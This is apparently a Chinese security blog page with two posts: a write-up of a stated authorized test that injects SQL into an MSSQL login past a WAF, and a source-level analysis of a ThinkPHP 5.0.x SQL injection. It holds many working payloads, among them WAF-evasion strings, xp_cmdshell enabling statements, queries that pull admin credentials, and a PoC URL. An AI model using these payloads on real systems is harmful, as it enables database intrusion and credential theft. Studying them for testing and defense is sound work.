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<a href="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/" class="post-title-link" itemprop="url">记一次实战MSSQL注入绕过WAF</a>
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<p>本次测试为授权测试。注入点在后台登陆的用户名处。</p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypasswaf_0.png" alt="mssql_bypasswaf_0"></p>
<p>存在验证码，可通过删除Cookie和验证码字段绕过验证</p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_0_0_0.png" alt="mssql_bypass_waf_0_1"></p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_0_0_1.png" alt="mssql_bypass_waf_0_0_1"></p>
<p>添加一个单引号，报错</p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_0_0.png" alt="mssql_bypass_waf_0_0"></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and '1'='1</span><br></pre></td></tr></table></figure>
<p>连接重置——被WAF拦截</p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_0_1.png" alt="mssql_bypass_waf_0_1"></p>
<p>改变大小写并将空格替换为MSSQL空白符[0x00-0x20]</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eaNd%1e'1'='1</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_0_2.png" alt="mssql_bypass_waf_0_2"></p>
<p>查询数据库版本，MSSQL 2012 x64</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=@@version%1e--</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_1_1.png" alt="mssql_bypass_waf_1_1"></p>
<p>查询当前用户</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=user%1e--</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_0_3.png" alt="mssql_bypass_waf_0_3"></p>
<p>查询当前用户是否为dba和db_owner</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">;if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --</span><br><span class="line">;if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --</span><br></pre></td></tr></table></figure>
<p>均出现延时，当前用户既不是dba也不是db_owner</p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_1_2.png" alt="mssql_bypass_waf_1_2"></p>
<p>尝试执行xp_cmdsehll，没有相关权限</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --</span><br><span class="line">;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_2_3.png" alt="mssql_bypass_waf_2_3"></p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_2_4.png" alt="mssql_bypass_waf_2_4"></p>
<p>查询当前数据库，连接重置——被WAF拦截</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=(db_name()%1e)%1e--</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_2_0_0.png" alt="mssql_bypass_waf_2_0_0"></p>
<p>去掉函数名的一个字符则正常返回——WAF过滤了函数db_name()。MSSQL和MSQL有一些相同的特性，比如：函数名和括号之前可用注释或空白符填充</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=(db_name/**/()%1e)%1e--</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_2_0_1.png" alt="mssql_bypass_waf_2_0_1"></p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_2_0_2.png" alt="mssql_bypass_waf_2_0_2"></p>
<p>查询当前数据库的表，连接重置——被WAF拦截</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_3_0_0.png" alt="mssql_bypass_waf_3_0_0"></p>
<p>删除select后面的语句，返回正常。在IIS+ASPX的环境里，如果同时提交多个同名参数，则服务端接收的参数的值为用逗号连接的多个值，在实际应用中可借助注释符注释掉逗号</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--</span><br></pre></td></tr></table></figure>
<p>依然被拦截</p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_3_0_1.png" alt="mssql_bypass_waf_3_0_1"></p>
<p>删除infOrmatiOn_sChema.tAbles的一个字符则返回正常——WAF过滤了infOrmatiOn_sChema.tAbles。以前在学习MYSQL注入时看到官方文档有这样一句话：”The qualifier character is a separate token and need not be contiguous with the associated identifiers.” 可知限定符(例如’.’)左右可插入空白符，而经过测试MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_3_3.png" alt="mssql_bypass_waf_3_3"></p>
<p>可通过not in(‘table_1’,’table_2’…)的方式遍历表名</p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_3_0_2.png" alt="mssql_bypass_waf_3_0_2"></p>
<p>手工注入使用这种方法太慢，一次性查询所有表名</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_3_5.png" alt="mssql_bypass_waf_3_5"></p>
<p>根据表名判断管理员表应该为appsadmin，一次性查询该表的所有列</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_3_7.png" alt="mssql_bypass_waf_3_7"></p>
<p>获得管理员用户名和密码字段：AdminName、Password。查询用户名和密码</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--</span><br><span class="line">%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--</span><br></pre></td></tr></table></figure>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_3_8.png" alt="mssql_bypass_waf_3_8"></p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_3_9.png" alt="mssql_bypass_waf_3_9"></p>
<p>解密后成功登陆后台</p>
<p><img src="/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98MSSQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87WAF/mssql_bypass_waf_3_11.png" alt="mssql_bypass_waf_3_10"></p>
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<h3 id="poc"><a href="#poc" class="headerlink" title="poc"></a>poc</h3><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/index.php/index/index/thinkphp?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1</span><br></pre></td></tr></table></figure>
<h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h3><p>定义常量，包含引导文件</p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_init_0.png" alt="thinkphp_sql_init_0"></p>
<p>直接步出跳转到查询函数 <strong>thinkphp()</strong></p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_init_1.png" alt="thinkphp_sql_init_1"></p>
<p>步进 /thinkphp/helper.php Line195，连接数据库</p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_init_2.png" alt="thinkphp_sql_init_2"></p>
<p>步出 /thinkphp/library/think/db/Query.php Line937，where方法</p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_init_3.png" alt="thinkphp_sql_init_3"></p>
<p>步出 跳转到insert函数 Line2079，解析查询表达式获得查询选项赋值给 <strong>$options</strong> -> 合并数组 -><strong>$this->builder->insert()</strong></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">insert</span>(<span class="params"><span class="keyword">array</span> <span class="variable">$data</span> = [], <span class="variable">$replace</span> = <span class="literal">false</span>, <span class="variable">$getLastInsID</span> = <span class="literal">false</span>, <span class="variable">$sequence</span> = <span class="literal">null</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="comment">// 分析查询表达式</span></span><br><span class="line"> <span class="variable">$options</span> = <span class="keyword">$this</span>->parseExpress();</span><br><span class="line"> <span class="variable">$data</span> = array_merge(<span class="variable">$options</span>[<span class="string">'data'</span>], <span class="variable">$data</span>);</span><br><span class="line"> <span class="comment">// 生成SQL语句</span></span><br><span class="line"> <span class="variable">$sql</span> = <span class="keyword">$this</span>->builder->insert(<span class="variable">$data</span>, <span class="variable">$options</span>, <span class="variable">$replace</span>);</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_0.png" alt="thinkphp_sql_insert_0"></p>
<p>跟进 <strong>$this->builder->insert()</strong> 函数 /thinkphp/library/think/db/Builder.php Line721，从查询选项获得组成SQL语句的变量</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">insert</span>(<span class="params"><span class="keyword">array</span> <span class="variable">$data</span>, <span class="variable">$options</span> = [], <span class="variable">$replace</span> = <span class="literal">false</span></span>)</span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">// 分析并处理数据</span></span><br><span class="line"> <span class="variable">$data</span> = <span class="keyword">$this</span>->parseData(<span class="variable">$data</span>, <span class="variable">$options</span>);</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_1_2.png" alt="thinkphp_sql_insert_1_2"></p>
<p>跟进 <strong>parseData()</strong> ，Line86，因为之前获取的 <strong>$options[‘field’]</strong> 值为 <strong>‘*’</strong> ，所以从查询的表中获取列名 <strong>$fields：{“id”, “username”, “password”, “token”}[4]</strong> </p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">parseData</span>(<span class="params"><span class="variable">$data</span>, <span class="variable">$options</span></span>)</span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$data</span>)) {</span><br><span class="line"> <span class="keyword">return</span> [];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取绑定信息</span></span><br><span class="line"> <span class="variable">$bind</span> = <span class="keyword">$this</span>->query->getFieldsBind(<span class="variable">$options</span>[<span class="string">'table'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (<span class="string">'*'</span> == <span class="variable">$options</span>[<span class="string">'field'</span>]) {</span><br><span class="line"> <span class="variable">$fields</span> = array_keys(<span class="variable">$bind</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$fields</span> = <span class="variable">$options</span>[<span class="string">'field'</span>];</span><br><span class="line"> }</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_1.png" alt="thinkphp_sql_insert_1"></p>
<p>从查询数据变量 <strong>$options</strong>中获得要查询的列名</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">... </span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$data</span> <span class="keyword">as</span> <span class="variable">$key</span> => <span class="variable">$val</span>) {</span><br><span class="line"> <span class="variable">$item</span> = <span class="keyword">$this</span>->parseKey(<span class="variable">$key</span>, <span class="variable">$options</span>);</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure>
<p>跟进 <strong>parseKey()</strong> /thinkphp/library/think/db/builder/Mysql.php Line89，要查询的列名 <strong>$key</strong>为 <strong>`username`</strong> </p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_2.png" alt="thinkphp_sql_insert_2"></p>
<p>返回/thinkphp/library/think/db/Builder.php 根据 <strong>$val[0]</strong> 也就是GET参数 <strong>username[0]</strong> 判断进入对应的case语句，这里是 <strong>‘inc’</strong></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"> } <span class="keyword">elseif</span> (is_array(<span class="variable">$val</span>) && !<span class="keyword">empty</span>(<span class="variable">$val</span>)) {</span><br><span class="line"> <span class="keyword">switch</span> (<span class="variable">$val</span>[<span class="number">0</span>]) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'exp'</span>:</span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="variable">$val</span>[<span class="number">1</span>];</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'inc'</span>:</span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="keyword">$this</span>->parseKey(<span class="variable">$val</span>[<span class="number">1</span>]) . <span class="string">'+'</span> . floatval(<span class="variable">$val</span>[<span class="number">2</span>]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'dec'</span>:</span><br><span class="line"> <span class="variable">$result</span>[<span class="variable">$item</span>] = <span class="keyword">$this</span>->parseKey(<span class="variable">$val</span>[<span class="number">1</span>]) . <span class="string">'-'</span> . floatval(<span class="variable">$val</span>[<span class="number">2</span>]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line">...</span><br></pre></td></tr></table></figure>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_3.png" alt="thinkphp_sql_insert_3"></p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_4.png" alt="thinkphp_sql_insert_4"></p>
<p>Line728 以 <strong>$this->insertsql</strong>为模板，通过 <strong>str_replace()</strong> 函数替换为获取的查询数据生成insert语句</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"> <span class="variable">$sql</span> = str_replace(</span><br><span class="line"> [<span class="string">'%INSERT%'</span>, <span class="string">'%TABLE%'</span>, <span class="string">'%FIELD%'</span>, <span class="string">'%DATA%'</span>, <span class="string">'%COMMENT%'</span>],</span><br><span class="line"> [</span><br><span class="line"> <span class="variable">$replace</span> ? <span class="string">'REPLACE'</span> : <span class="string">'INSERT'</span>,</span><br><span class="line"> <span class="keyword">$this</span>->parseTable(<span class="variable">$options</span>[<span class="string">'table'</span>], <span class="variable">$options</span>),</span><br><span class="line"> implode(<span class="string">' , '</span>, <span class="variable">$fields</span>),</span><br><span class="line"> implode(<span class="string">' , '</span>, <span class="variable">$values</span>),</span><br><span class="line"> <span class="keyword">$this</span>->parseComment(<span class="variable">$options</span>[<span class="string">'comment'</span>]),</span><br><span class="line"> ], <span class="keyword">$this</span>->insertSql);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$sql</span>;</span><br><span class="line"> }</span><br><span class="line">...</span><br></pre></td></tr></table></figure>
<p>组成sql语句的各个变量的值</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">><span class="variable">$options</span>[<span class="string">'table'</span>]</span><br><span class="line"><user</span><br><span class="line"></span><br><span class="line">><span class="variable">$fields</span></span><br><span class="line"><`username`</span><br><span class="line"></span><br><span class="line">><span class="variable">$values</span></span><br><span class="line"><<span class="keyword">array</span> (</span><br><span class="line"> <span class="number">0</span> => <span class="string">'updatexml(1,concat(0x7e,user(),0x7e),1)+1'</span>,</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">><span class="variable">$options</span>[<span class="string">'comment'</span>]</span><br><span class="line"><</span><br><span class="line"></span><br><span class="line">><span class="keyword">$this</span>->insertSql</span><br><span class="line"><%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%</span><br></pre></td></tr></table></figure>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_5.png" alt="thinkphp_sql_insert_5"></p>
<p>返回生成的sql语句 <strong>$sql：<br>INSERT INTO `user` (`username`) VALUES (updatexml(1,concat(0x7e,user(),0x7e),1)+1)</strong> /thinkphp/library/think/db/Query.php Line2094，获取执行的SQL语句，因为 <strong>$options[‘fetch_sql’]<strong>的值为</strong>false</strong>所以 <strong>$sql</strong>直接成为实际执行的SQL语句</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$options</span>[<span class="string">'fetch_sql'</span>]) {</span><br><span class="line"> <span class="comment">// 获取实际执行的SQL语句</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->connection->getRealSql(<span class="variable">$sql</span>, <span class="variable">$bind</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 执行操作</span></span><br><span class="line"> <span class="variable">$result</span> = <span class="number">0</span> === <span class="variable">$sql</span> ? <span class="number">0</span> : <span class="keyword">$this</span>->execute(<span class="variable">$sql</span>, <span class="variable">$bind</span>);</span><br><span class="line">...</span><br></pre></td></tr></table></figure>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_execute_0.png" alt="thinkphp_sql_insert_execute_0"></p>
<p>跟进执行函数，/thinkphp/library/think/db/Connection.php Line411，初始化数据库连接 -> 执行语句 </p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">execute</span>(<span class="params"><span class="variable">$sql</span>, <span class="variable">$bind</span> = []</span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->initConnect(<span class="literal">true</span>);</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">$this</span>->linkID) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">$this</span>->PDOStatement->execute();</span><br><span class="line"> ...</span><br><span class="line">...</span><br></pre></td></tr></table></figure>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_execute_1.png" alt="thinkphp_sql_insert_execute_1"></p>
<p>PDO异常，异常信息包含poc插入的SQL语句的查询结果</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"> } <span class="keyword">catch</span> (\PDOException <span class="variable">$e</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->isBreak(<span class="variable">$e</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">$this</span>->close()->execute(<span class="variable">$sql</span>, <span class="variable">$bind</span>);</span><br><span class="line"> }</span><br><span class="line">...</span><br></pre></td></tr></table></figure>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'PDO Error Info'</span> => </span><br><span class="line"> <span class="keyword">array</span> (</span><br><span class="line"> <span class="string">'SQLSTATE'</span> => <span class="string">'HY000'</span>,</span><br><span class="line"> <span class="string">'Driver Error Code'</span> => <span class="number">1105</span>,</span><br><span class="line"> <span class="string">'Driver Error Message'</span> => <span class="string">'XPATH syntax error: \'~root@localhost~\''</span>,</span><br><span class="line"> )</span><br></pre></td></tr></table></figure>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_insert_execute_2.png" alt="thinkphp_sql_insert_execute_2"></p>
<p>进行异常处理 /thinkphp/library/think/Error.php Line40</p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp_sql_exception_error_0.png" alt="thinkphp_sql_exception_error_0"></p>
<p>/thinkphp/library/think/Error.php Line86 异常终止处理 -> /thinkphp/library/think/db/Connection.php Line1044 执行析构函数 -> 步进<strong>close()</strong> /thinkphp/library/think/db/Connection.php Line794 关闭数据库连接 </p>
<p><img src="/ThinkPHP5-0-xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/thinkphp515_sql_8_1.png" alt="thinkphp515_sql_8_1"></p>
